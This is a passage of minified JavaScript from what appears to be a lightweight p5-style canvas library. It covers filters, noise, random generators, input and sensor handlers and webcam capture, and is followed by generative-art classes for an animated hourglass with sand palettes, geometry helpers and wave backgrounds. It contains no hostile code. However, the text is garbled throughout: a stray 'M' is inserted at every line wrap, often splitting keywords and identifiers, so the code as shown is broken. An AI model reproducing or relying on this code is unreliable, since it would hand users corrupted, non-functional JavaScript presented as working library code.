e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
